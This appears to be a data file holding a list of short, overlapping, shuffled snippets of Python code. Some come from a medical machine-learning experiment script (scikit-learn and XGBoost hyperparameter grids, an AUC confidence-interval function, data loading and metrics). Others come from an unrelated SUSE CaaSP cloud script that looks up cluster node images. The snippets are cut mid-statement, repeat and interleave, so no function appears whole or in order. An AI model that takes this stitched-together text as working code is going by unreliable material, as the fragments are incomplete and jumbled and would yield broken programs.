"\"min_samples_split\": [2], # 'max_features': ['sqrt', 0.25, 0.5, 0.75, 1.0], #",
"# 1.0]}), 'gbm': (GradientBoostingClassifier(), {'n_estimators': [100, 200, 400, 800], 'learning_rate':",
"data = data[data[k].isin(to_exclude[k])] elif k == 'agebl': data = data[data[k]",
"- AUC) + (N1 - 1) * (q1 - AUC",
"se_AUC = np.sqrt(numerator / denom) return (se_AUC, AUC - zsc",
"2000, 4000], # 'max_depth': [5, 7, 9, 11, 13], #",
"score_name=score_name, mode='classification', oversample_rate = oversample_rate, imputer = imputer, add_missing_flags =",
"np import pandas as pd import scipy.stats as st #from",
"1], # 'max_features': [0.25, 0.5]}), 'gbm': (GradientBoostingClassifier(), {}), # 'gbm':",
"(RandomForestClassifier(), # {'n_estimators': [ 501, 1000, 2000, 4000], # 'max_depth':",
"['auto', 0.5], # \"class_weight\": [None, \"balanced\"]}), # 'rf': (RandomForestClassifier(), #",
"9], # 'subsample': [0.75, # 1], # 'max_features': ['sqrt', 'log2',",
"# {'n_estimators': [100, 200, 300, 500, 1000, 2000, # 4000],",
"res_df['FN'] res_df['FP'] = (res_df.y_true == 0).sum() - res_df['TN'] res_df['sens'] =",
"# 'learning_rate': [0.01], # 'max_depth': [3,4,5], # 'subsample': [0.35, 0.7],",
"0.5], # \"class_weight\": [None, \"balanced\"]}), # 'rf': (RandomForestClassifier(), # {'n_estimators':",
"[\"mean\"]}), 'lasso_reg': (linear_model.Lasso(), {'alpha': np.arange(0.1, 1.0, 0.01), 'max_iter': [10000]}), 'rf_reg':",
"# 'max_features': [0.25, 0.5]}), 'gbm': (GradientBoostingClassifier(), {}), # 'gbm': (GradientBoostingClassifier(),",
"calc_auc_conf_interval(AUC, N1, N2, ci = 0.95): # from https://ncss-wpengine.netdna-ssl.com/wp-content/themes/ncss/pdf/Procedures/PASS/Confidence_Intervals_for_the_Area_Under_an_ROC_Curve.pdf zsc",
"* se_AUC) def load_models_and_parameters_default(): models_and_parameters = { 'dummy_reg': (DummyRegressor(), {\"strategy\":",
"return_all == False: res_df = res_df[(res_df.y_pred.duplicated('last') == False)] return(res_df) def",
"# # \"C\":[0.1]}), #, \"balanced\" 'lasso': (Lasso(), {\"alpha\": [0.0001, 0.001],#np.arange(0.01,",
"return_all == False: res_df = pd.concat([pd.DataFrame({'y_true' : -1, 'y_pred': -1,",
"\"0.92\", linestyle = '-', linewidth = 0.7) ax = plt.gca()",
"axis = 1) if drop == 'all': if (k !=",
"# {}), 'elnet': (LogisticRegression(penalty = 'elasticnet', solver = 'saga'), {\"C\":[0.001,",
"<gh_stars>1-10 import numpy as np import pandas as pd import",
"linewidth = 0.7) plt.grid(True, 'major', color = '0.85', linewidth =",
"(1 + AUC) numerator = AUC * (1 - AUC)",
"6, 8, 10], # \"min_samples_split\": [2, 10], # 'max_features': [0.25,",
"{}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [100, 200, 300, 500,",
"11, 13], # \"min_samples_split\": [2], # 'max_features': ['sqrt', 0.25, 0.5,",
": y_true, 'y_pred': y_pred}, columns = ['y_pred', 'y_true']) res_df =",
"# remove predictions which represent non-separable decision points (i.e., y_pred",
"500], # 'learning_rate': [0.01, 0.003, 0.4], # 'max_depth': [5, 6,",
"7], # 'subsample': [0.85, 1], # 'max_features': [0.25, 0.5]}), #",
"'log2', 0.25, 0.5, 0.75, # 1.0]}), # 'gbm': (GradientBoostingClassifier(), #",
"str): data = pd.read_csv(datafile) else: data = datafile test_data =",
"= res_df.sens + res_df.spec - 1 # remove predictions which",
"medical_ML import Experiment print('\\n\\n' + 'STARTING EXPERIMENT FOR ' +",
"# 'learning_rate': [0.01], # 'max_depth': [5, 6], # 'subsample': [0.85],",
"10, 20], # None \"max_depth\": [1, 2, 3, 4], #",
"'log2']}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [50, 100, 501, 1000],",
"'max_depth': [3,4,5], # 'subsample': [0.35, 0.7], # 'max_features': [0.25]}), #",
"{\"alpha\": [0.0001, 0.001],#np.arange(0.01, 1.01, 0.05), 'max_iter': [10000]}), 'lasso2': (LogisticRegression(penalty =",
"[0.25, 0.5]}), 'gbm': (GradientBoostingClassifier(), {}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators':",
"[400], # 'learning_rate': [0.01], # 'max_depth': [5], # 'subsample': [0.75],",
"'max_features': ['sqrt', 0.25, 0.5, 0.75, 1.0], # \"class_weight\": [None]}), #",
"matplotlib.pyplot as plt import xgboost as xgb from sklearn.ensemble import",
"(LogisticRegression(penalty = 'l1', solver ='saga'), {\"C\":[0.001, 0.01,0.1, 1]}), # 'lasso2':",
"[100, 200, 400, 800], 'learning_rate': [0.03, 0.01, 0.001], 'max_depth': [4,5,6,8],",
"{}), #, \"balanced\" # \"C\":[0.1]}), #, \"balanced\" 'lasso': (Lasso(), {\"alpha\":",
"index = [-1], columns = ['y_pred', 'y_true', 'TN', \"FN\"]), res_df],",
"Load and clean the dataset \"\"\" if isinstance(datafile, str): data",
"SVC from sklearn import linear_model from sklearn.ensemble import RandomForestRegressor, GradientBoostingRegressor",
"cv=cv, score_name=score_name, mode='classification', oversample_rate = oversample_rate, imputer = imputer, add_missing_flags",
"(RandomForestRegressor(), {'n_estimators': [501], 'criterion': ['mae'], 'max_depth': [3, 5, 10], 'max_features':",
"\"balanced\" # 'logreg': (LogisticRegression(), # {\"class_weight\": [None], # \"C\":[0.01,0.1, 1]}),",
"(xgb.XGBClassifier(), # {'n_estimators': [100,500], # 'max_depth': [3,4,5], # 'learning_rate': [0.1,",
"{\"class_weight\": [None], # \"C\":[0.01,0.1, 1]}), #, \"balanced\" # \"C\":[0.1]}), #,",
"= 1) if drop == 'all': if (k != 'race')",
"0.75, # 1.0]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [100, 200,",
"100, 501, 1000], # 'max_depth': [3,5,7], # \"min_samples_split\": [2, 5],",
"solver = 'saga'), {\"C\":[0.001, 0.01,0.1, 1], \"l1_ratio\":[0.01, 0.1, 0.5, 0.9,",
"def load_models_and_parameters_default(): models_and_parameters = { 'dummy_reg': (DummyRegressor(), {\"strategy\": [\"mean\"]}), 'lasso_reg':",
"RESULT_DIR) expt.predict_models_from_groups(0, models, cv=cv, score_name=score_name, mode='classification', oversample_rate = oversample_rate, imputer",
"10], # \"min_samples_split\": [2, 10], # 'max_features': [0.25, 0.5], #",
"# \"reg_alpha\": [0, 10], # \"reg_lambda\": [0.1, 10]}), # 'gbm':",
"'0.85', linewidth = 0.7) plt.grid(True, 'minor', color = \"0.92\", linestyle",
"200, 300, 500, 1000, 2000, # 4000], # 'max_depth': [2,",
"linear_model from sklearn.ensemble import RandomForestRegressor, GradientBoostingRegressor from sklearn.dummy import DummyRegressor",
"'max_depth': [4], # 'learning_rate': [0.1], # \"reg_alpha\": [0, 10], #",
"0.4], # 'max_depth': [5, 6, 7], # 'subsample': [0.85, 1],",
"0.5]}), } return(models_and_parameters) def load_models_and_parameters(): models_and_parameters = { 'dummy_reg': (DummyRegressor(),",
"# 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [400, 600], # 'learning_rate': [0.01],",
"{\"strategy\": [\"mean\"]}), 'lasso_reg': (linear_model.Lasso(), {'alpha': np.arange(0.1, 1.0, 0.01), 'max_iter': [10000]}),",
"5, 10, 20], # None \"max_depth\": [1, 2, 3, 4],",
"3, 5, 10, 20, 50], 'weights': ['uniform', 'distance']}), # 'rf':",
"= self.data[self.data['year'] <= 2010] # self.data = self.data.drop(['year'], axis =",
"100, 200], # 'max_depth': [2,3,5], # 'subsample': [0.25, 0.5, 0.75,",
"from sklearn.ensemble import RandomForestRegressor, GradientBoostingRegressor from sklearn.dummy import DummyRegressor def",
"if k == 'race': data = data[data[k].isin(to_exclude[k])] elif k ==",
"to_exclude = None, test_ind_col = None, oversample_rate = 1, imputer",
"'saga'), {\"C\":[0.001, 0.01,0.1, 1], \"l1_ratio\":[0.01, 0.1, 0.5, 0.9, 0.99]}), 'dt':",
"[2], # 'max_features': ['sqrt', 0.25, 0.5, 0.75, 1.0], # \"class_weight\":",
"which represent non-separable decision points (i.e., y_pred is equal) if",
"= AUC * (1 - AUC) + (N1 - 1)",
"# 'max_depth': [4], # 'learning_rate': [0.1], # \"reg_alpha\": [0, 10],",
"train_val(RESULT_DIR, alldata, models, label = 'Label', cv = 5, score_name",
"+ RESULT_DIR + '\\n\\n') expt = Experiment(alldata, label = label,",
"[3, 5, 10, 15, 20], \"random_state\": [817263]}), 'svm': (SVC(), {'C':",
"# 'max_depth': [5], # 'subsample': [0.75], # 'max_features': [0.25]}), #",
"0.5]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [400, 600], # 'learning_rate':",
"# \"class_weight\": [None]}), 'rf': (RandomForestClassifier(), {'n_estimators': [500, 1000], 'max_depth': [8],",
"data = datafile test_data = None if to_exclude is not",
"/ denom) return (se_AUC, AUC - zsc * se_AUC, AUC,",
"= 1) return(data, test_data) def calc_auc_conf_interval(AUC, N1, N2, ci =",
"[200, 300], # 'learning_rate': [0.01], # 'max_depth': [3,4,5], # 'subsample':",
"GradientBoostingClassifier from sklearn.dummy import DummyClassifier from sklearn.tree import DecisionTreeClassifier from",
"1) if test_ind_col is not None: test_data = data[data[test_ind_col] ==",
"'race') & (k != 'agebl'): data = data.drop(k, axis =",
"{}), #, \"balanced\" # # \"C\":[0.1]}), #, \"balanced\" 'lasso': (Lasso(),",
"= data[data[k] >= to_exclude[k]] elif to_exclude[k]: data = data[data[k] ==",
"# 'subsample': [0.85], # 'max_features': [0.25, 0.5]}), # 'gbm': (GradientBoostingClassifier(),",
"# 'subsample': [0.85], # 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), #",
"1.01, 0.05), 'max_iter': [10000]}), 'lasso2': (LogisticRegression(penalty = 'l1', solver ='saga'),",
"= pd.DataFrame({'y_true' : y_true, 'y_pred': y_pred}, columns = ['y_pred', 'y_true'])",
"[None, \"balanced\"]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [501], # 'max_depth':",
"import numpy as np import pandas as pd import scipy.stats",
"'max_features': [0.25, 0.5, ]}), # 'rf': (RandomForestClassifier(), # {}), 'xgb':",
"'subsample': [0.85], # 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators':",
"\"min_samples_split\": [2, 5], # 'max_features': ['auto', 0.5], # \"class_weight\": [None,",
"4000], # 'max_depth': [5, 7, 9, 11, 13], # \"min_samples_split\":",
"\"min_samples_split\": [10], 'max_features': [0.25], \"class_weight\": [None]}), # 'rf': (RandomForestClassifier(), #",
"= None, test_ind_col = None, oversample_rate = 1, imputer =",
"{}), 'elnet': (LogisticRegression(penalty = 'elasticnet', solver = 'saga'), {\"C\":[0.001, 0.01,0.1,",
"# 'max_features': [0.25, 0.5]}), # 'gbm': (GradientBoostingClassifier(), # {}), #",
"5, 10, 15, 20], \"random_state\": [817263]}), 'svm': (SVC(), {'C': [",
"plt.grid(True, 'minor', color = \"0.92\", linestyle = '-', linewidth =",
"= pd.concat([pd.DataFrame({'y_true' : -1, 'y_pred': -1, \"TN\": 0, \"FN\":0}, index",
"'learning_rate': [0.01], # 'max_depth': [5, 6], # 'subsample': [0.85], #",
"{\"strategy\": [\"most_frequent\"]}), # 'logreg': (LogisticRegression(), # {\"class_weight\": [None], # \"C\":[0.1,",
"import linear_model from sklearn.ensemble import RandomForestRegressor, GradientBoostingRegressor from sklearn.dummy import",
"{'n_estimators': [200, 300], # 'learning_rate': [0.01], # 'max_depth': [3,4,5], #",
"# {\"class_weight\": [None], # \"C\":[0.01,0.1, 1]}), #, \"balanced\" # \"C\":[0.1]}),",
"0.1, 0.5, 0.9, 0.99]}), 'dt': (DecisionTreeClassifier(), {\"criterion\": [\"entropy\"], # \"max_depth\":",
"data = data[data[k] >= to_exclude[k]] elif to_exclude[k]: data = data[data[k]",
"[None], \"C\":[0.01,0.1, 1]}), #, \"balanced\" # \"C\":[0.1]}), #, \"balanced\" #",
"'lasso2': (LogisticRegression(penalty = 'l1'), # {\"C\":[0.001, 0.01,0.1, 1]}), 'lasso2': (LogisticRegression(penalty",
"'sqrt', 'log2']}), 'dummy': (DummyClassifier(), {\"strategy\": [\"most_frequent\"]}), # 'logreg': (LogisticRegression(), #",
"# 'subsample': [0.25, 0.5, 0.75, 1], # 'max_features': [None, 'sqrt',",
"data[data[k].isin(to_exclude[k])] elif k == 'agebl': data = data[data[k] >= to_exclude[k]]",
"(LogisticRegression(penalty = 'l1'), # {\"C\":[0.001, 0.01,0.1, 1]}), 'lasso2': (LogisticRegression(penalty =",
"- (1-ci)/2.) q1 = AUC / (2 - AUC) q2",
"None \"splitter\": [\"best\", \"random\"], \"min_samples_split\": [2, 5, 10], \"min_samples_leaf\": [3,",
"(GradientBoostingClassifier(), # {'n_estimators': [300, 400, 500], # 'learning_rate': [0.01, 0.003,",
"import DummyClassifier from sklearn.tree import DecisionTreeClassifier from sklearn.linear_model import LogisticRegression,",
"'lasso2': (LogisticRegression(penalty = 'l1',solver ='saga'), {}), 'elnet': (LogisticRegression(penalty = 'elasticnet',",
"\"C\":[0.01,0.1, 1]}), #, \"balanced\" # \"C\":[0.1]}), #, \"balanced\" 'logreg': (LogisticRegression(),",
"(LogisticRegression(), # {}), #, \"balanced\" # # \"C\":[0.1]}), #, \"balanced\"",
"\"class_weight\": [None]}), 'rf': (RandomForestClassifier(), {'n_estimators': [500, 1000], 'max_depth': [8], \"min_samples_split\":",
"as plt import xgboost as xgb from sklearn.ensemble import RandomForestClassifier,",
"\"class_weight\": [None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [ 501, 1000,",
"# 'max_depth': [9], # \"min_samples_split\": [10], # 'max_features': [0.25]}), #",
"(res_df.TP + res_df.TN) / (res_df.shape[0]) res_df['f1_score'] = 2 * res_df.PPV",
"'max_iter': [10000]}), # 'lasso2': (LogisticRegression(penalty = 'l1'), # {\"C\":[0.001, 0.01,0.1,",
"0.5, ]}), # 'rf': (RandomForestClassifier(), # {}), 'xgb': (xgb.XGBClassifier(), {}),",
"= data.drop(k, axis = 1) if drop == 'all': if",
"= test_ind_col, drop = 'all', result_dir = RESULT_DIR) expt.predict_models_from_groups(0, models,",
"2, 3, 4], # None \"splitter\": [\"best\", \"random\"], \"min_samples_split\": [2,",
"# \"min_samples_split\": [2], # 'max_features': ['sqrt', 0.25, 0.5, 0.75, 1.0],",
"'max_iter': [10000]}), 'rf_reg': (RandomForestRegressor(), {'n_estimators': [501], 'criterion': ['mae'], 'max_depth': [3,",
"0.5, 0.9, 0.99]}), 'dt': (DecisionTreeClassifier(), {\"criterion\": [\"entropy\"], # \"max_depth\": [2,",
"500, 600], # 'max_depth': [7,8,9], # \"min_samples_split\": [5,10], # 'max_features':",
"= False): res_df = pd.DataFrame({'y_true' : y_true, 'y_pred': y_pred}, columns",
"0.7) plt.grid(True, 'minor', color = \"0.92\", linestyle = '-', linewidth",
"None, drop = 'some'): \"\"\" Load and clean the dataset",
"\"C\":[0.1, 0.3, 1,5, 10]}), #, \"balanced\" # 'logreg': (LogisticRegression(), #",
"= \"0.92\", linestyle = '-', linewidth = 0.7) ax =",
"None, test_ind_col = None, oversample_rate = 1, imputer = 'iterative',",
"# {'n_estimators': [501], # 'max_depth': [3, 5, 10], # 'max_features':",
"def calc_metrics(y_true, y_pred, return_all = False): res_df = pd.DataFrame({'y_true' :",
"\"random_state\": [817263]}), 'svm': (SVC(), {'C': [ 1], 'kernel': ['linear']}), #'poly',",
"[0.85, 1], # 'max_features': [0.25, 0.5]}), # 'gbm': (GradientBoostingClassifier(), #",
"['ls', 'lad'], 'max_depth': [3, 5, 10], 'max_features': ['auto', 'sqrt', 'log2']}),",
"import matplotlib.pyplot as plt import xgboost as xgb from sklearn.ensemble"
] |
[
"Image name with no date stamp skip it continue except",
"This message will bubble up through salt return 'See /var/log/caasp_cloud_setup.log'",
"the identifier for the latest cluster node image\"\"\" cluster_image =",
"Exception: # Image name with no date stamp skip it",
"we have a serious data problem # we cannot really",
"logging.info('Image data for cluster node image: \"%s\"' % target_image) return",
"and cluster_image.count(':') == 3: image_data['urn'] = cluster_image msg = 'Using",
"then process accordingly. try: image_info = ifsrequest.get_image_data( framework, None, 'json',",
"version delimiters version = version_id.strip('\"\\'') logging.info('Release version: \"%s\"' % version)",
"no date stamp skip it continue except Exception as e:",
"date > target_image_date: # If we have multiple images with",
"failed') logging.info('Image data for cluster node image: \"%s\"' % target_image)",
"e: logging.error('Could not load json data from pint: \"%s\"' %",
"logging.error('Could not load json data from pint: \"%s\"' % e.message)",
"about the information consumed by the client from the #",
"json.loads(image_info) available_images = image_data.get('images', []) target_image = None target_image_date =",
"return 'See /var/log/caasp_cloud_setup.log' if not target_image: logging.error('Could not determine image",
"logging.error('Could not determine image identifier for cluster node.') logging.error('This implies",
"from configuration. ' msg += 'Image data for cluster node",
"just query for active images. We need to get all",
"data for cluster node image: \"%s\"' % target_image) return target_image",
"\"%s\"' logging.info(msg % image_data) return image_data name_filter = 'name~caasp,name~cluster' flavor",
"= cluster_image image_data['name'] = cluster_image if framework == 'microsoft' and",
"logging.info(msg % image_data) return image_data name_filter = 'name~caasp,name~cluster' flavor =",
"os-release will always have '\"' as # version delimiters version",
"target_image_date: # If we have multiple images with the same",
"need to get all # images and then process accordingly.",
"pint data image_data = {} image_data['id'] = cluster_image image_data['name'] =",
"get_cloud_config_path(): \"\"\"Return the path for the cloud configuration file\"\"\" return",
"name with no date stamp skip it continue except Exception",
"data for cluster node image: \"%s\"' logging.info(msg % image_data) return",
"consumed by the client from the # full pint data",
"'-') # The cluster image we choose depends on the",
"on an as needed # basis. If this turns out",
"will bubble up through salt return 'See /var/log/caasp_cloud_setup.log' try: image_data",
"image_info = ifsrequest.get_image_data( framework, None, 'json', region, name_filter ) except",
"from pint: \"%s\"' % e.message) # This message will bubble",
"re import susepubliccloudinfoclient.infoserverrequests as ifsrequest import yaml import sys RELEASE_DATE",
"cluster_image image_data['name'] = cluster_image if framework == 'microsoft' and cluster_image.count(':')",
"the value for the given config option\"\"\" # Expected low",
"% e.message) # This message will bubble up through salt",
"'microsoft' and cluster_image.count(':') == 3: image_data['urn'] = cluster_image msg =",
"through salt return 'See /var/log/caasp_cloud_setup.log' try: image_data = json.loads(image_info) available_images",
"image_data) return image_data name_filter = 'name~caasp,name~cluster' flavor = get_from_config('procurement_flavor') if",
"\"\"\"Return the path for the cloud configuration file\"\"\" return '/etc/salt/pillar/cloud.sls'",
"'data is incomplete, please report the issue, exiting.') sys.exit('pint lookup",
"available_images: image_name = image.get('name') try: date = int(RELEASE_DATE.match(image_name).group(1)) if date",
"Exception as e: logging.error('Pint server access failed: \"%s\"' % e.message)",
"settings = config.get('cloud') if not settings: return return settings.get(config_option) def",
"images and then process accordingly. try: image_info = ifsrequest.get_image_data( framework,",
"json import logging import re import susepubliccloudinfoclient.infoserverrequests as ifsrequest import",
"node image: \"%s\"' % target_image) return target_image def load_platform_module(platform_name): mod",
"given config option\"\"\" # Expected low usage of this method,",
"image we choose depends on the admin node version, #",
"If this turns out to be an issue cache the",
"for entry in os_release: if entry.startswith('VERSION_ID'): version_id = entry.split('=')[-1].strip() #",
"entry.split('=')[-1].strip() # We assume that os-release will always have '\"'",
"3: image_data['urn'] = cluster_image msg = 'Using cluster image from",
"try: image_data = json.loads(image_info) available_images = image_data.get('images', []) target_image =",
"yaml.load(config_file.read()) settings = config.get('cloud') if not settings: return return settings.get(config_option)",
"data from pint: \"%s\"' % e.message) # This message will",
"# Expected low usage of this method, re-read the file",
"configuration. ' msg += 'Image data for cluster node image:",
"the admin node version, # thus we cannot just query",
"image_name = image.get('name') try: date = int(RELEASE_DATE.match(image_name).group(1)) if date >",
"= 'Using cluster image from configuration. ' msg += 'Image",
"yaml import sys RELEASE_DATE = re.compile('^.*-v(\\d{8})-*.*') def get_caasp_release_version(): \"\"\"Return the",
"data problem # we cannot really recover, the first one",
"criteria we have a serious data problem # we cannot",
"the pint server is unreachable or the ' 'data is",
"'\"' as # version delimiters version = version_id.strip('\"\\'') logging.info('Release version:",
"version = version_id.strip('\"\\'') logging.info('Release version: \"%s\"' % version) return version",
"version, # thus we cannot just query for active images.",
"'See /var/log/caasp_cloud_setup.log' try: image_data = json.loads(image_info) available_images = image_data.get('images', [])",
"# about the information consumed by the client from the",
"as # version delimiters version = version_id.strip('\"\\'') logging.info('Release version: \"%s\"'",
"return image_data name_filter = 'name~caasp,name~cluster' flavor = get_from_config('procurement_flavor') if flavor",
"json data from pint: \"%s\"' % e.message) # This message",
"the latest cluster node image\"\"\" cluster_image = get_from_config('cluster_image') if cluster_image:",
"cluster_image if framework == 'microsoft' and cluster_image.count(':') == 3: image_data['urn']",
"that # match our filter criteria we have a serious",
"target_image: logging.error('Could not determine image identifier for cluster node.') logging.error('This",
"' 'data is incomplete, please report the issue, exiting.') sys.exit('pint",
"content config_path = get_cloud_config_path() with open(config_path) as config_file: config =",
"The data returned in this code path has built in",
"target_image_date = 0 for image in available_images: image_name = image.get('name')",
"image_data.get('images', []) target_image = None target_image_date = 0 for image",
"return 'See /var/log/caasp_cloud_setup.log' try: image_data = json.loads(image_info) available_images = image_data.get('images',",
"thus we cannot just query for active images. We need",
"int(RELEASE_DATE.match(image_name).group(1)) if date > target_image_date: # If we have multiple",
"logging import re import susepubliccloudinfoclient.infoserverrequests as ifsrequest import yaml import",
"= version_id.strip('\"\\'') logging.info('Release version: \"%s\"' % version) return version def",
"this turns out to be an issue cache the content",
"for active images. We need to get all # images",
"we have multiple images with the same date that #",
"image from configuration. ' msg += 'Image data for cluster",
"if not settings: return return settings.get(config_option) def get_cluster_image_identifier(framework, region): \"\"\"Return",
"incomplete, please report the issue, exiting.') sys.exit('pint lookup failed') logging.info('Image",
"message will bubble up through salt return 'See /var/log/caasp_cloud_setup.log' try:",
"= json.loads(image_info) available_images = image_data.get('images', []) target_image = None target_image_date",
"/var/log/caasp_cloud_setup.log' if not target_image: logging.error('Could not determine image identifier for",
"image_data = {} image_data['id'] = cluster_image image_data['name'] = cluster_image if",
"image_data['id'] = cluster_image image_data['name'] = cluster_image if framework == 'microsoft'",
"',name~byos' else: name_filter += ',name!byos' version = get_caasp_release_version() name_filter +=",
"version.replace('.', '-') # The cluster image we choose depends on",
"match our filter criteria we have a serious data problem",
"of this method, re-read the file on an as needed",
"the cloud configuration file\"\"\" return '/etc/salt/pillar/cloud.sls' def get_from_config(config_option): \"\"\"Get the",
"through salt return 'See /var/log/caasp_cloud_setup.log' if not target_image: logging.error('Could not",
"'/etc/salt/pillar/cloud.sls' def get_from_config(config_option): \"\"\"Get the value for the given config",
"os_release = open('/etc/os-release', 'r').readlines() for entry in os_release: if entry.startswith('VERSION_ID'):",
"implies that the pint server is unreachable or the '",
"import re import susepubliccloudinfoclient.infoserverrequests as ifsrequest import yaml import sys",
"if date > target_image_date: # If we have multiple images",
"and then process accordingly. try: image_info = ifsrequest.get_image_data( framework, None,",
"We need to get all # images and then process",
"open(config_path) as config_file: config = yaml.load(config_file.read()) settings = config.get('cloud') if",
"None target_image_date = 0 for image in available_images: image_name =",
"'name~caasp,name~cluster' flavor = get_from_config('procurement_flavor') if flavor == 'byos': name_filter +=",
"this code path has built in knowledge # about the",
"if entry.startswith('VERSION_ID'): version_id = entry.split('=')[-1].strip() # We assume that os-release",
"really recover, the first one wins target_image = image except",
"depends on the admin node version, # thus we cannot",
"version = get_caasp_release_version() name_filter += ',name~' + version.replace('.', '-') #",
"if flavor == 'byos': name_filter += ',name~byos' else: name_filter +=",
"image\"\"\" cluster_image = get_from_config('cluster_image') if cluster_image: # The data returned",
"# match our filter criteria we have a serious data",
"if cluster_image: # The data returned in this code path",
"= get_cloud_config_path() with open(config_path) as config_file: config = yaml.load(config_file.read()) settings",
"get_caasp_release_version(): \"\"\"Return the version from os-release\"\"\" os_release = open('/etc/os-release', 'r').readlines()",
"not load json data from pint: \"%s\"' % e.message) #",
"cluster node.') logging.error('This implies that the pint server is unreachable",
"that the pint server is unreachable or the ' 'data",
"data returned in this code path has built in knowledge",
"cache the content config_path = get_cloud_config_path() with open(config_path) as config_file:",
"+ version.replace('.', '-') # The cluster image we choose depends",
"= image except Exception: # Image name with no date",
"config_file: config = yaml.load(config_file.read()) settings = config.get('cloud') if not settings:",
"image_data['urn'] = cluster_image msg = 'Using cluster image from configuration.",
"target_image = None target_image_date = 0 for image in available_images:",
"\"%s\"' % version) return version def get_cloud_config_path(): \"\"\"Return the path",
"try: image_info = ifsrequest.get_image_data( framework, None, 'json', region, name_filter )",
"the # full pint data image_data = {} image_data['id'] =",
"not settings: return return settings.get(config_option) def get_cluster_image_identifier(framework, region): \"\"\"Return the",
"with no date stamp skip it continue except Exception as",
"= 0 for image in available_images: image_name = image.get('name') try:",
"for cluster node.') logging.error('This implies that the pint server is",
"',name!byos' version = get_caasp_release_version() name_filter += ',name~' + version.replace('.', '-')",
"delimiters version = version_id.strip('\"\\'') logging.info('Release version: \"%s\"' % version) return",
"% image_data) return image_data name_filter = 'name~caasp,name~cluster' flavor = get_from_config('procurement_flavor')",
"stamp skip it continue except Exception as e: logging.error('Could not",
"for image in available_images: image_name = image.get('name') try: date =",
"images. We need to get all # images and then",
"re.compile('^.*-v(\\d{8})-*.*') def get_caasp_release_version(): \"\"\"Return the version from os-release\"\"\" os_release =",
"= re.compile('^.*-v(\\d{8})-*.*') def get_caasp_release_version(): \"\"\"Return the version from os-release\"\"\" os_release",
"config_path = get_cloud_config_path() with open(config_path) as config_file: config = yaml.load(config_file.read())",
"def get_caasp_release_version(): \"\"\"Return the version from os-release\"\"\" os_release = open('/etc/os-release',",
"logging.error('Pint server access failed: \"%s\"' % e.message) # This message",
"to get all # images and then process accordingly. try:",
"= image_data.get('images', []) target_image = None target_image_date = 0 for",
"= get_from_config('procurement_flavor') if flavor == 'byos': name_filter += ',name~byos' else:",
"= ifsrequest.get_image_data( framework, None, 'json', region, name_filter ) except Exception",
"def get_cloud_config_path(): \"\"\"Return the path for the cloud configuration file\"\"\"",
"framework == 'microsoft' and cluster_image.count(':') == 3: image_data['urn'] = cluster_image",
"process accordingly. try: image_info = ifsrequest.get_image_data( framework, None, 'json', region,",
"node image: \"%s\"' logging.info(msg % image_data) return image_data name_filter =",
"failed: \"%s\"' % e.message) # This message will bubble up",
"accordingly. try: image_info = ifsrequest.get_image_data( framework, None, 'json', region, name_filter",
"open('/etc/os-release', 'r').readlines() for entry in os_release: if entry.startswith('VERSION_ID'): version_id =",
"try: date = int(RELEASE_DATE.match(image_name).group(1)) if date > target_image_date: # If",
"> target_image_date: # If we have multiple images with the",
"image.get('name') try: date = int(RELEASE_DATE.match(image_name).group(1)) if date > target_image_date: #",
"node image\"\"\" cluster_image = get_from_config('cluster_image') if cluster_image: # The data",
"date that # match our filter criteria we have a",
"{} image_data['id'] = cluster_image image_data['name'] = cluster_image if framework ==",
"except Exception: # Image name with no date stamp skip",
"name_filter += ',name~byos' else: name_filter += ',name!byos' version = get_caasp_release_version()",
"full pint data image_data = {} image_data['id'] = cluster_image image_data['name']",
"with open(config_path) as config_file: config = yaml.load(config_file.read()) settings = config.get('cloud')",
"node.') logging.error('This implies that the pint server is unreachable or",
"data image_data = {} image_data['id'] = cluster_image image_data['name'] = cluster_image",
"continue except Exception as e: logging.error('Could not load json data",
"usage of this method, re-read the file on an as",
"entry.startswith('VERSION_ID'): version_id = entry.split('=')[-1].strip() # We assume that os-release will",
"return '/etc/salt/pillar/cloud.sls' def get_from_config(config_option): \"\"\"Get the value for the given",
"the version from os-release\"\"\" os_release = open('/etc/os-release', 'r').readlines() for entry",
"'Image data for cluster node image: \"%s\"' logging.info(msg % image_data)",
"with the same date that # match our filter criteria",
"bubble up through salt return 'See /var/log/caasp_cloud_setup.log' try: image_data =",
"cluster_image = get_from_config('cluster_image') if cluster_image: # The data returned in",
"admin node version, # thus we cannot just query for",
"or the ' 'data is incomplete, please report the issue,",
"+= ',name~' + version.replace('.', '-') # The cluster image we",
"unreachable or the ' 'data is incomplete, please report the",
"# full pint data image_data = {} image_data['id'] = cluster_image",
"ifsrequest import yaml import sys RELEASE_DATE = re.compile('^.*-v(\\d{8})-*.*') def get_caasp_release_version():",
"= get_from_config('cluster_image') if cluster_image: # The data returned in this",
"def get_from_config(config_option): \"\"\"Get the value for the given config option\"\"\"",
"region, name_filter ) except Exception as e: logging.error('Pint server access",
"# The cluster image we choose depends on the admin",
"image_data = json.loads(image_info) available_images = image_data.get('images', []) target_image = None",
"version: \"%s\"' % version) return version def get_cloud_config_path(): \"\"\"Return the",
"up through salt return 'See /var/log/caasp_cloud_setup.log' if not target_image: logging.error('Could",
"# thus we cannot just query for active images. We",
"= config.get('cloud') if not settings: return return settings.get(config_option) def get_cluster_image_identifier(framework,",
"logging.error('This implies that the pint server is unreachable or the",
"cannot really recover, the first one wins target_image = image",
"will always have '\"' as # version delimiters version =",
"not determine image identifier for cluster node.') logging.error('This implies that",
"cloud configuration file\"\"\" return '/etc/salt/pillar/cloud.sls' def get_from_config(config_option): \"\"\"Get the value",
"have '\"' as # version delimiters version = version_id.strip('\"\\'') logging.info('Release",
"= 'name~caasp,name~cluster' flavor = get_from_config('procurement_flavor') if flavor == 'byos': name_filter",
"cluster node image\"\"\" cluster_image = get_from_config('cluster_image') if cluster_image: # The",
"= cluster_image if framework == 'microsoft' and cluster_image.count(':') == 3:",
"available_images = image_data.get('images', []) target_image = None target_image_date = 0",
"We assume that os-release will always have '\"' as #",
"date stamp skip it continue except Exception as e: logging.error('Could",
"= {} image_data['id'] = cluster_image image_data['name'] = cluster_image if framework",
